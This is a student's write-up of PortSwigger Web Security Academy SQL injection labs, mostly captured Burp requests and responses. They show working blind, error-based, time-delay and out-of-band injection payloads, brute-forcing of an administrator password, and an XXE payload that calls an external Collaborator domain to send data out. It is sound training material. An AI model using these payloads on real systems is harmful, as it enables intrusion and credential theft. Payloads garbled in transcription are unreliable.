<pre> Pretty Raw Hex 1 GET / HTTP/2 2 Host: 0a74001f048c5c5983c682d2007500bb.web-security-academy.net 3 Cookie: TrackingId=JDMybNNwbolBlJd'   +(select''+from+dual)+   '; session=fj5DICHChvCrlk7auxIJaiy6RnP649gB 4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 </pre>	<pre> Pretty Raw Hex Render 1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 11345 5 6 &lt;!DOCTYPE html&gt; 7 &lt;html&gt; 8   &lt;head&gt; 9     &lt;link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet"&gt; 10    &lt;link href="/resources/css/labsEcommerce.css rel=stylesheet"&gt; </pre>

Now we need to confirm that user table exists.

- Payload → ' || (select " from users where rownum = 1) || '

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvb0lB1Jd'|||(select+''+from+users+where+retrownum+is+3d+1)+|||; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11345
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">

```

Now we need to confirm administrator user exists on the users table.

- Payload → ' || (select " from users where username = 'administrator') || ' but the problem is we cannot get the accurate response from this query because if we add some random name, it also gives a 200 response.
- Payload → ' || (select CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE " END FROM dual) || ' → this returns error and 1=0 returns the 200 response

Hence, we can use the second method.

**Request**

Pretty	Raw	Hex
--------	-----	-----

```

1 GET / HTTP/2
2 Host: 0a74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvb0lB1Jd'|||(select+CASE+WHEN+(1+3d1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)+|||; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123",
5 Sec-Ch-Ua-Mobile: ?0

```

**Response**

Pretty	Raw	Hex	Render
--------	-----	-----	--------

```

1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2226
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=

```

  

**Request**

Pretty	Raw	Hex
--------	-----	-----

```

1 GET / HTTP/2
2 Host: 0a74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvb0lB1Jd'|||(select+CASE+WHEN+(1+3d0)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)+|||; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123",
5 Sec-Ch-Ua-Mobile: ?0

```

**Response**

Pretty	Raw	Hex	Render
--------	-----	-----	--------

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11345
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">

```

To confirm the administrator

- Payload → ' || (select CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE " END FROM users where username = 'administrator') || '
- If this returns an internal server error response it means administrator exists.

If administrator does not exists it gives us a 200 response.

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: Oa74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvboIB1Jd'||||(select+CASE+WHEN+(1#3dl)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username#3d+'administrator')+|||'; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5

Response
Pretty Raw Hex Render
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2226
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
10       /resources/labheader/css/academyLabHeader.css rel=stylesheet>

```

Now we need to find out length of the password:

- ' || (select CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE " END FROM users where username = 'administrator' and LENGTH(password) > 1) || '

If the password is greater than 1 which is sure we must get an error response.

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: Oa74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvboIB1Jd'||||(select+CASE+WHEN+(1#3dl)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+where+username#3d+'administrator'+and+LENGTH+(password)+>+1)+|||'; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123",
5

Response
Pretty Raw Hex
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2226
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
10       /resources/labheader/css/academyLabHeader.css rel=stylesheet>

```

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: Oa74001f048c5c5983c682d2007500bb.web-security-academy.net
3 Cookie: TrackingId=JDMybNNvboIB1Jd'||||(select+CASE+WHEN+(1#3dl)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+where+username#3d+'administrator'+and+LENGTH+(password)+>+30)+|||'; session=fj5DICHCHvCrlk7auxIJaiy6RnP649gB
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5

Response
Pretty Raw Hex
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11345
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
10       /resources/labheader/css/academyLabHeader.css rel=stylesheet>
11     <link href=
12       /resources/labheader/css/academyLabHeader.css rel=stylesheet>

```

Password id smaller than 30 characters.

Request ^	Payload	Status code	Response received	Error	Timeout	Length
0		200	24765			11454
1	1	500	14696			2353
2	2	500	6325			2353
3	3	500	6906			2353
4	4	500	6348			2353
5	5	500	6179			2353
6	6	500	6411			2353
7	7	500	6251			2353
8	8	500	6316			2353
9	9	500	13868			2353
10	10	500	6324			2353
11	11	500	6134			2353
12	12	500	5784			2353
13	13	500	13357			2353
14	14	500	13496			2353
15	15	500	5225			2353
16	16	500	13107			2353
17	17	500	5846			2353
18	18	500	5633			2353
19	19	500	13512			2353
20	20	200	5669			11454

Now we need to output the password.

- ' || (select CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE " END FROM users where username = 'administrator' and substr(password,1,1) = 'a') || '

(the 2<sup>nd</sup> 1 means we need output as a one character)

Request		Response				
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
1 GET / HTTP/2			1 HTTP/2 200 OK			
2 Host: 0a74001f048c5c5983c682d2007500bb.web-security-academy.net			2 Content-Type: text/html; charset=utf-8			
3 Cookie: TrackingId=XgtciIC7gfNGZSVY'+  +(select+CASE+WHEN+(1%3d1)+THEN+TO_CHAR(1/0)+ELSE+' '+END+FROM+users+where+username+%3d+'administrator'+and+substr(password,1,1)+%3d+'a')+  +'; session=ngvwVow058J0m60Tm6ImwhxL7DHL42yM			3 X-Frame-Options: SAMEORIGIN			
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"			4 Content-Length: 11345			
5 Sec-Ch-Ua-Mobile: ?0			5			
6 Sec-Ch-Ua-Platform: "Linux"			6 <!DOCTYPE html>			
			7 <html>			
			8 <head>			
			9 <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">			

We need to perform a brute force attack to obtain the password.

② Choose an attack type

Attack type: Cluster bomb

② Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://0a74001f048c5c5983c682d2007500bb.web-securi

Update Host header to match target

Add §

Clear §

Auto §

Refresh

Request	Payload 1 ^	Payload 2	Status code	Error	Timeout	Length
781	1	0	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
962	2	6	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
633	3	v	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
994	4	7	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
365	5	m	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
66	6	c	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
307	7	k	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
818	8	1	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
879	9	3	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
730	10	y	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
851	11	2	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
342	12	l	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
613	13	u	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
404	14	n	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
585	15	t	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
1006	16	7	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
407	17	n	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
648	18	v	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
769	19	z	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
890	20	3	500	<input type="checkbox"/>	<input type="checkbox"/>	2353



## Blind SQL injection with conditional errors

LAB Solved

[Back to lab description >>](#)

Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)
[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: administrator

### 13. Visible error-based SQL injection.

Task:

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account.

In the backend query works as below:

- `SELECT * FROM tracking WHERE id = 'A5wZskSjPahdfyaO' '`

Single quote give the error (which I was entered)

- `SELECT * FROM tracking WHERE id = 'A5wZskSjPahdfyaO'-- '`

We can comment out the rest of the query then we will get a 200 response.

```
1 GET / HTTP/2
2 Host: Oab0006f049afbb281a5070100c10011.web-security-academy.net
3 Cookie: TrackingId=A5wZskSjPahdfyaO' --| session=Anle4yyx2SrBRxQJPNiU4bsDdmVOYgg
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
```

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11412
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
```

We can use CAST to change data types.

- `' AND 1 = CAST((SELECT 1) as int)--`

Now we need to find a way to retrieve credentials.

We can modify above payload:

- `' AND 1 = CAST((SELECT username from users) as int)--`
- This gives an internal error
- Let's reduce the length (remove the tracking id)

Internal error after reducing the length of the query.

```
GET / HTTP/2
Host: 0ab0006f049afbb281a5070100c10011.web-security-academy.net
Cookie: TrackingId=54123456789012345678901234567890; session=Anle4yyx2ShBRxQJPNiU4bsDd0mVOYgg
Sec-Ch-Ua: "Chromium";v="123", "Not A Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
https://0ab0006f049afbb281a5070100c10011.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
```

LAB  
Not solved

<span class="lab-status-icon"></span>

ERROR: more than one row returned by a subquery used as an expression

ERROR: more than one row returned by a subquery used as an expression

- 'AND 1 = CAST((SELECT username FROM users LIMIT 1) as int)—

Limiting the output to 1 to get the username.

This will output the first username of the table.

The screenshot shows a NetworkMiner capture. The Request pane displays a GET request to / HTTP/2 with a cookie containing a crafted payload: 'TrackingId=' + AND+1+\$3dCAST((SELECT+username+FROM+users+LIMIT+1)+as+int)--; session=Anle4yyx2ShBRxQJPNiU4bsDdOmVOYgg. The Response pane shows a green 'LAB' button and a 'Not solved' status. The page content includes the text "Visible error-based SQL injection" and two error messages: "ERROR: invalid input syntax for type integer: "administrator"" repeated twice.

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: Oab0006f049afbb281a5070100c10011.web-security-academy.net
3 Cookie: TrackingId=' + AND+1+$3dCAST((SELECT+username+FROM+users+LIMIT+1)+as+int)--; session=Anle4yyx2ShBRxQJPNiU4bsDdOmVOYgg
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

```

Response

```

Pretty Raw Hex Render
Visible error-based SQL injection
Back to lab description
>

```

ERROR: invalid input syntax for type integer: "administrator"

ERROR: invalid input syntax for type integer: "administrator"

- 'AND 1 = CAST((SELECT password FROM users LIMIT 1) as int)—

The screenshot shows a NetworkMiner capture. The Request pane displays a GET request to / HTTP/2 with a cookie containing a payload: 'TrackingId=' + AND+1+\$3dCAST((SELECT+password+FROM+users+LIMIT+1)+as+int)--; session=Anle4yyx2ShBRxQJPNiU4bsDdOmVOYgg. The Response pane shows a green 'LAB' button and a 'Not solved' status. The page content includes the text "Visible error-based SQL injection" and two error messages: "ERROR: invalid input syntax for type integer: "46uz69qq5frx22hu3wj1"" repeated twice.

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: Oab0006f049afbb281a5070100c10011.web-security-academy.net
3 Cookie: TrackingId=' + AND+1+$3dCAST((SELECT+password+FROM+users+LIMIT+1)+as+int)--; session=Anle4yyx2ShBRxQJPNiU4bsDdOmVOYgg
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

```

Response

```

Pretty Raw Hex Render
Visible error-based SQL injection
Back to lab description
>

```

ERROR: invalid input syntax for type integer: "46uz69qq5frx22hu3wj1"

ERROR: invalid input syntax for type integer: "46uz69qq5frx22hu3wj1"

## **14. Blind SQL injection with time delays.**

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

Backend query works as:

- select trackingid from tracking\_table where trackingid = 'v9XozNfPhboFefmt'
- select trackingid from tracking\_table where trackingid = 'v9XozNfPhboFefmt' || SELECT SLEEP(10) --

hence, the payload -- ' || SELECT SLEEP(10) --

we need to check the database type by using the cheat sheet.

Oracle dbms\_pipe.receive\_message('a'), 10)

Microsoft WAITFOR DELAY '0:0:10'

PostgreSQL SELECT pg\_sleep(10)

MySQL SELECT SLEEP(10)

- ' || (SELECT pg\_sleep(10))--

This is PostgreSQL database.

**Request**

Pretty	Raw	Hex
1 GET / HTTP/2		
2 Host: Oaca008e03elef97827e2e6c00c600c8.web-security-academy.net		
3 Cookie: TrackingId=v9XozNfPhboFefmt'+  +(SELECT+pg_sleep(10))--; session=yNkqaUSRct7elkWaHo0xN9FVMP09&uvX		
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"		
5 Sec-Ch-Ua-Mobile: ?0		
6 Sec-Ch-Ua-Platform: "Windows"		
7 Upgrade-Insecure-Requests: 1		
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36		
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		
10 Sec-Fetch-Site: same-origin		
11 Sec-Fetch-Mode: navigate		
12 Sec-Fetch-User: ?1		
13 Sec-Fetch-Dest: document		
14 Referer: https://Oaca008e03elef97827e2e6c00c600c8.web-security-academy.net/		
15 Accept-Encoding: gzip, deflate, br		
16 Accept-Language: en-US,en;q=0.9		
17 Priority: u=0, i		
18		
19		

**Response**

Pretty	Raw	Hex	Render
1 HTTP/2 200 OK			
2 Content-Type: text/html; charset=utf-8			
3 X-Frame-Options: SAMEORIGIN			
4 Content-Length: 14248			
5			
6 <!DOCTYPE html>			
7 <html>			
8 <head>			
9 <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">			
10 <link href="/resources/css/labsEcommerce.css rel=stylesheet">			
11 <title> Blind SQL injection with time delays			
12 </title>			
13 </head>			
14 <body>			
15 <script src="/resources/labheader/js/labHeader.js">			
16 <div id="academyLabHeader">			
17 <section class='academyLabBanner is-solved'>			
18 <div class=container>			
19 <div class=logo>			
20 </div>			
21 <div class=title-container>			
<h2> Blind SQL injection with time delays			
</h2>			
<a class=link-back href='https://portswigger.net/web-security/sql-injection/blind/lab-time-delays.html'>			

Done 14,357 bytes | 10,218 millis

**Web Security Academy**  Blind SQL injection with time delays LAB Solved 

Back to lab description >

Congratulations, you solved the lab! Share your skills!   Continue learning >

Home | My account

## 15. Blind SQL injection with time delays and information retrieval.

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user.

To solve the lab, log in as the `administrator` user.

First confirm the parameter is vulnerable and find out the database type.

```

1 GET / HTTP/2
2 Host: Oal6007c03d2bd61825bbbd100430042.web-security-academy.net
3 Cookie: TrackingId=mtSXMxF0Gax9hhjB'+||+(SELECT+pg_sleep(10))--;
session=8J8nttSx3aGU60crRM4e8dHdsx1Hp26
4 Sec-Ch-Ua: "Chromium";v="123",
"Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer:
https://Oal6007c03d2bd61825bbbd100430042.web-security-academy.net/
15 Accept-Encoding: gzip, deflate, br
16 Accept-Language: en-US,en;q=0.9
17 Priority: u=0, i
18
19

```

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11356
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
10    <link href="/resources/css/labsEcommerce.css rel="stylesheet">
11    <title>
12      Blind SQL injection with time delays
13      and information retrieval
14    </title>
15  </head>
16  <body>
17    <script src="/resources/labheader/js/labHeader.js">
18    </script>
19    <div id="academyLabHeader">
20      <section class='academyLabBanner'>
21        <div class=container>
22          <div class=logo>
23          </div>
24          <div class=title-container>
25            <h2>
26              Blind SQL injection with time
27              delays and information
28              retrieval
29            </h2>
30            <a class=link-back href='
31              https://portswigger.net/web-security/exploitation/blind-sql-injection'
32            >Back</a>
33          </div>
34        </div>
35      </section>
36    </div>
37  </body>
38</html>

```

Done 11,465 bytes | 10,210 millis

Now we need to confirm that existence of the users table.

- ' || (select case when (1=1) then pg\_sleep(10) else pg\_sleep(-1) end)—

Next need to check administrator exists or not.

- ' || (select case when (username = 'administrator') then pg\_sleep(10) else pg\_sleep(-1) end from users)—

Next enumerate the password length and the password:

- ' || (select case when (username = 'administrator' and LENGTH(password) > 1) then pg\_sleep(10) else pg\_sleep(-1) end from users)—
- ' || (select case when (username = 'administrator' and substr(password,1,1) = 'a') then pg\_sleep(10) else pg\_sleep(-1) end from users)—

Requ... ^	Payload	Status code	Response ...	Error	Timeout	Length	Comment
0		200	10208			11465	
1	1	200	10191			11465	
2	2	200	10187			11465	
3	3	200	10200			11465	
4	4	200	10195			11465	
5	5	200	10359			11465	
6	6	200	10354			11465	
7	7	200	10197			11465	
8	8	200	10187			11465	
9	9	200	10193			11465	
10	10	200	10195			11465	
11	11	200	10193			11465	
12	12	200	10196			11465	
13	13	200	10194			11465	
14	14	200	10183			11465	
15	15	200	10197			11465	
16	16	200	10190			11465	
17	17	200	10195			11465	
18	18	200	10215			11465	
19	19	200	10196			11465	
20	20	200	182			11465	
21	21	200	183			11465	

Exactly 20 characters.

Brute force attack to obtain the password of the administrator.

# IT22883902 S. M. PEIRIS

② Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: <https://0a16007c03d2bd61825bbbd100430042.web-security-academy.net>  Update Host header to match target

```
1 GET / HTTP/2
2 Host: 0a16007c03d2bd61825bbbd100430042.web-security-academy.net
3 Cookie: TrackingId=cyl7QaLYKvJhncS*||+select+case+when+!username+'administrator'+and+substr(password,$15,1)+<3d+'$@')+then+pg_sleep(10)+else+pg_sleep(1)+end+from+users--; session=keittijJHtHA3xfu103h9actTNk3wFw
4 Sec-Ch-Ua: "Chromium";v="123", "Not A Brand";v="99"
5 Sec-Ch-User-Agent: ??
6 Sec-Ch-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: https://0a16007c03d2bd61825bbbd100430042.web-security-academy.net/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Priority: 0
14
15
16
17
18
19
```

◀ 4. Intruder attack of <https://0a16007c03d2bd61825bbbd100430042.web-security-academy.net>

Results Positions Payloads Resource pool Settings

Filter: Showing only highlighted items

Request	Payload 1 ^	Payload 2	Status code	Error	Timeout	Length	Comment	Response received
419	1	t	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10203
222	2	k	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10198
47	3	c	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
400	4	s	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10204
313	5	o	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10200
72	6	d	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10204
29	7	b	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10207
514	8	x	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10200
405	9	s	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10203
10	10	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10209
517	11	x	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10199
430	12	t	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
255	13	l	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10204
564	14	z	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
345	15	p	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10204
148	16	g	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
303	17	n	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
348	18	p	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10253
261	19	l	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10201
570	20	z	200	<input type="checkbox"/>	<input type="checkbox"/>	11465		10198

**Web Security Academy**  Blind SQL injection with time delays and information retrieval

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills!   Continue learning >>

Home | My account | Log out

## My Account

Your username is: administrator

## 16. Blind SQL injection with out-of-band interaction.

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

In here what we are going to do is a DNS lookup.

- Payload → '`|| (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://7x5gknw4d3iptysb9cok4snnye45svgk.oastify.com/"> %remote;]')','/l') FROM dual) —`  
(use the cheat sheet according to the database type this is oracle and use burp collaborator.)

Request		Response	
P	Raw	Pretty	Raw
1	GET / HTTP/2	1	HTTP/2 200 OK
2	Host: Oaa70038049a921780e6fd13001c00le.web-security-academy.net	2	Content-Type: text/html; charset=utf-8
3	Cookie: TrackingId=OFyj27Xqkk9ef8rs'+  +(SELECT+EXTRACTVALUE(xmltype('<%fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f)<!DOCTYPE+root+[+<!ENTITY%25+remote+SYSTEM+'http%3a//7x5gknw4d3iptysb9cok4snnye45svgk.oastify.com/">+%25remote%3b]>'),'l')+FROM+dual)--;	3	X-Frame-Options: SAMEORIGIN
4	session=c3wsL15zQh1QX74P7t0yVFGRTwoidGTY	4	Content-Length: 11352
5	Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"	5	
6	Sec-Ch-Ua-Mobile: ?0	6	<!DOCTYPE html>
7	Sec-Ch-Ua-Platform: "Linux"	7	<html>
8	Upgrade-Insecure-Requests: 1	8	<head>
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36	9	<link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">
9	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image	10	<link href=/resources/css/labsEcommerce.css rel=stylesheet>
		11	<title>Blind SQL injection with out-of-band interaction</title>
		12	</head>
		13	<body>

# ^	Time	Type	Payload	Source IP address
1	2024-Apr-21 21:05:08.258 UTC	DNS	7x5gknw4d3iptysb9cok4snnye45svgk	3.248.186.254
2	2024-Apr-21 21:05:08.258 UTC	DNS	7x5gknw4d3iptysb9cok4snnye45svgk	34.245.205.109
3	2024-Apr-21 21:05:08.258 UTC	DNS	7x5gknw4d3iptysb9cok4snnye45svgk	3.248.186.237
4	2024-Apr-21 21:05:08.258 UTC	DNS	7x5gknw4d3iptysb9cok4snnye45svgk	3.251.128.110

Description    DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain name `7x5gknw4d3iptysb9cok4snnye45svgk.oastify.com`.  
The lookup was received from IP address 3.248.186.254:27060 at 2024-Apr-21 21:05:08.258 UTC.

**Web Security Academy** LAB Solved

Blind SQL injection with out-of-band interaction

Back to lab description »

Congratulations, you solved the lab!

Share your skills! Continue learning »

Home | My account

## 17. Blind SQL injection with out-of-band data exfiltration.

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called `users`, with columns `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user.

To solve the lab, log in as the `administrator` user.

- SELECT EXTRACTVALUE(xmltype('
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]');','/I')
FROM dual
- ' || (SELECT EXTRACTVALUE(xmltype('
